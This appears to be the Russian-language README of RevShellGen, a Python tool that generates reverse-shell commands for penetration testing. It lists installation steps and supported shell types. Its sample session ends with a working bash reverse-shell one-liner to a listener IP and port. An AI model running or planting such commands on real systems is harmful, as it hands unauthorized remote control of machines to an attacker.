
Генератор обратной оболочки, написанный на Python 3.
Генератор обратных оболочек
Автоматизируйте создание обратных оболочек со стилем
Генерируйте, кодируйте и ловите обратные оболочки без лишних хлопот
Возможности • Установка • Использование • Поддерживаемые оболочки • Участие в разработке
RevShellGen — это мощный инструмент командной строки, который упрощает процесс генерации команд обратных оболочек. Больше не нужно искать синтаксис, вручную кодировать или настраивать конфигурацию. Этот инструмент справляется со всем через интуитивно понятный интерфейс.
# Install from PyPI
pip install revshellgen
# Run the tool
revshellgen
# Clone the repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Install dependencies
pip3 install -r requirements.txt
# Run the tool
python3 revshellgen.py # or python3 revshellgen_cli.py
RevShellGen требует следующие пакеты Python:
| Пакет | Назначение |
|---|---|
pyperclip | Операции с буфером обмена |
colorama | Цвета терминала |
readchar | Интерактивный ввод клавиш |
netifaces | Обнаружение сетевых интерфейсов |
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# You may need to install python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Install ncat for better listener support
brew install nmap # Includes ncat
Запустите инструмент
python3 revshellgen.py
Настройте обратную оболочку
Сгенерированная команда автоматически копируется в буфер обмена
Запустите слушатель (автоматически)
Выполните команду на целевой машине
![]() Выбор оболочки |
![]() Генерация команды |
| Тип оболочки | Описание | Платформа |
|---|---|---|
| Bash | Bash TCP обратная оболочка | Linux/Unix |
| Python | Обратная оболочка на Python | Кроссплатформенная |
| Netcat | Традиционная обратная оболочка nc | Linux/Unix |
| Netcat mkfifo | Netcat с именованным каналом | Linux/Unix |
| Perl | Обратная оболочка на Perl | Кроссплатформенная |
| PHP | Обратная оболочка на PHP | Кроссплатформенная |
| Ruby | Обратная оболочка на Ruby | Кроссплатформенная |
| Java | Обратная оболочка на Java | Кроссплатформенная |
| AWK | Обратная оболочка на AWK | Linux/Unix |
| Socat | Обратная оболочка Socat | Linux/Unix |
| Socat TTY | Socat с полным TTY | Linux/Unix |
| Telnet | Обратная оболочка Telnet | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |
RevShellGen теперь включает исчерпывающие инструкции по улучшению TTY. После получения оболочки инструмент предоставляет:
Инструмент автоматически обнаруживает и использует подходящую версию netcat:
ncat (предпочтительно, из пакета nmap)nc (традиционный netcat)nc для macOS$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ ВЫБЕРИТЕ IP ] ----------
[ x ] 192.168.1.10 on eth0
[ ] 10.0.0.5 on tun0
[ ] Указать вручную
---------- [ УКАЖИТЕ ПОРТ ] ----------
[ # ] Введите номер порта : 4444
---------- [ ВЫБЕРИТЕ КОМАНДУ ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ КОМАНДА ОБРАТНОЙ ОБОЛОЧКИ ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Команда скопирована в буфер обмена!
[ + ] Запуск слушателя на порту 4444...